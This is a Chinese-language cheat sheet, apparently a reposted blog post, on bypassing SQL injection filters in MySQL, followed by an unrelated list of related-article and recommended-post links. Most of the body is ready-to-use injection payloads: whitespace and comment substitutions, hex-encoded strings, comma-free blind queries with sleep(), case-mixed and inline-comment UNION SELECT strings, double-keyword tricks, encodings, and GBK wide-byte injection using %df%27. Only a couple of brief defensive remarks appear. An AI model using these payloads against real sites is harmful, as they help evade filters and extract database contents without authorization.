两个空格代替一个空格,用Tab代替空格,%a0=空格:


%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/

最基本的绕过方法,用注释替换空格:


/* 注释 */

使用浮点数:


select * from users where id=8E0union select 1,2,3 select * from users where id=8.0 select 1,2,3

2|02.括号绕过空格:

  如果空格被过滤,括号没有被过滤,可以用括号绕过。

  在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

例如:


select(user())from dual where(1=1)and(2=2)

  这种过滤方法常常用于time based盲注,例如:


?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

(from for属于逗号绕过下面会有)

  上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

3|03.引号绕过(使用十六进制):

  会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:


select column_name from information_schema.tables where table_name="users"

  这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
  users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:


select column_name  from information_schema.tables where table_name=0x7573657273

4|04.逗号绕过(使用from或者offset):

  在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:


select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

  使用join:


union select 1,2     #等价于
union select * from (select 1)a join (select 2)b

  使用like:


select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

  对于limit可以使用offset来绕过:


select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0

5|05.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):

5|1使用greatest()、least():(前者返回最大值,后者返回最小值)

  同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
  最常见的一个盲注的sql语句:


select * from users where id=1 and ascii(substr(database(),0,1))>64

  此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。
  那么上面的这条sql语句可以使用greatest变为如下的子句:


select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

5|2使用between and:

between a and b:返回a,b之间的数据,不包含b。

6|06.or and xor not绕过:


and=&&  or=||   xor=|   not=!

7|07.绕过注释符号(#,--(后面跟一个空格))过滤:


id=1' union select 1,2,3||'1

  最后的or '1闭合查询语句的最后的单引号,或者:


id=1' union select 1,2,'3

8|08.=绕过:

  使用like 、rlike 、regexp 或者 使用< 或者 >

9|09.绕过union,select,where等:

9|1(1)使用注释符绕过:

  常用注释符:


//,-- , /**/, #, --+, -- -, ;,%00,--a

  用法:


U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user

9|2(2)使用大小写绕过:


id=-1'UnIoN/**/SeLeCT

9|3(3)内联注释绕过:


id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

9|4(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):


id=-1'UNIunionONSeLselectECT1,2,3–-

10|010.通用绕过(编码):

  如URLEncode编码,ASCII,HEX,unicode编码绕过:


or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

11|011.等价函数绕过:


hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

12|012.宽字节注入:

  过滤 ' 的时候往往利用的思路是将 ' 转换为 \' 。

  在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

  (1)%df 吃掉 \ 具体的方法是 urlencode('\) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:


id=-1%df%27union select 1,user(),3--+

  (2)将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

12|1一般产生宽字节注入的PHP函数:

1.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \  转为 \\,将 " 转为 \" 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

   3.mysql_real_escape_string():转义下列字符:


\x00     \n     \r     \     '     "     \x1a

(防御,将mysql设置为gbk即可)

本文转自 https://www.cnblogs.com/Vinson404/

sql绕过小技巧的更多相关文章

  1. mysql操作sql的小技巧

    本篇集中整理一下执行sql的小技巧,这种方式不仅带来了操作上的便捷,也可以保证数据可以数据的安全性. 1:查询数据(保证查询性能) 首先想先解释一下 SELECT * 和 SELECT t.id , ...

  2. sql server 小技巧(8) visual studio 2013里使用Sql server compact 4.0及发布问题处理

    1. 安装 Microsoft SQL Server Compact 4.0  https://www.microsoft.com/zh-cn/download/confirmation.aspx?i ...

  3. sql server 小技巧(2) 删除sql server中重复的数据

    with list_numbers as ( select Name, AuthorOrTime, Url, Price, EstimatePrice, Size, Category, ROW_NUM ...

  4. sql server 小技巧(1) 导入csv数据到sql server

    1. 右击 DataBaseName,选择 Tasks->Import Data 2. 选择数据源: Flat File Source , 选择一个csv文件 Advance: 选择所有的列,改 ...

  5. sql server 小技巧(7) 导出完整sql server 数据库成一个sql文件,包含表结构及数据

    1. 右健数据库 –> Tasks –> Generate Scripts   2. 选择所有的表   3. 下一步,选择Advanded, Types of data to script ...

  6. sql server 小技巧 集锦

    sql server 小技巧(1) 导入csv数据到sql server sql server 小技巧(2) 删除sql server中重复的数据 sql server 小技巧(3) SQL Serv ...

  7. sql server 小技巧(6) Cannot resolve the collation conflict between "Latin1_General_CI_AI" and "Chinese_PRC_CI_AS" in the equal to operation

    今天查询二个db,出现这个错误,二种方法,一种是把db里的collation改成一样的:如果不方便可以直接在sql语句后面转一下: select * from table where crm_mscr ...

  8. sql server 小技巧(5) Sql server 获取指定字符后的所有字符 - 去掉指定字符前的所有字符

    select top 10  SUBSTRING( sproductcode, CHARINDEX('-', SProductCode)+1, LEN(SProductCode)) from csmr ...

  9. sql server 小技巧(4) Sql server 排序时让空值排在最后

    order by  coalesce( u.sort, 2147483647) sql server 小技巧 集锦

随机推荐

  1. http 怎样关闭

    如何优雅的关闭关闭这个fd , 如果只是一个简单的fd 直接调用close 就行, 但是如果要是一个框架 那就接到 资源回收复用 内存泄漏等问题: 来看看 ngx 是用怎样的思路处理 事务结束动作: ...

  2. solr 笔记

    1.sorl其实是对存储的内容,根据相应的域和域的类型先分词,停顿,过滤(大小写转换)等等;然后建立多级索引.对搜索条件也是根据相应的域和域的类型进行分词,停顿,同义词,过滤(大小写转换)等等;然后建 ...

  3. explain命令---查看mysql执行计划

    引言: 实际项目开发中,由于我们不知道实际查询的时候数据库里发生了什么事情,数据库软件是怎样扫描表.怎样使用索引的,因此,我们能感知到的就只有 sql语句运行的时间,在数据规模不大时,查询是瞬间的,因 ...

  4. http请求返回ObjectJson,Array之类转换类型

    以下所说的类来自:package com.alibaba.fastjson 1,形如以下返回,其实是个json的map形式的返回 { "success": true, " ...

  5. 怎么用MindManager2019去做一个好的网络图

    大家知道网络图吗?是由作业(箭线).事件(又称节点)和路线三个因素组成的.它是一种图解模型,形状如同网络,故称为网络图.运用网络图能够使步骤简洁明了,今天我我们就说一说网络图软件MindManager ...

  6. ABBYY FineReader如何将图片转换为Excel

    ABBYY FineReader的OCR文字识别功能很强大,不但可以将文件转换为文本文档或Word文档,也可以识别PDF文件或者图片上的表格,并且转换为Excel文件.下面我就为大家演示一下怎么用AB ...

  7. FL Studio采样器设置的功能是什么

    FL Studio是一款很集成化的软件,它和很多其他的软件不同,FL Studio的通道中集成了很多采样器.这种整合的方式不但功能强大而且也很便捷.今天小编就来为大家详细的简介下FL Studio采样 ...

  8. Invalid operation updata 错误解决方法

    错误: huny@DESKTOP-N1EBKQP:/mnt/c/Users/Administrator$ sudo apt-get updata E: Invalid operation updata ...

  9. Java基础教程——RunTime类

    RunTime类 java.lang.RunTime类代表Java程序的运行时环境. 可以进行垃圾回收(gc()),可以进行系统资源清理(runFinalization()): 可以加载文件(load ...

  10. 语法解析器续:case..when..语法解析计算

    之前写过一篇博客,是关于如何解析类似sql之类的解析器实现参考:https://www.cnblogs.com/yougewe/p/13774289.html 之前的解析器,更多的是是做语言的翻译转换 ...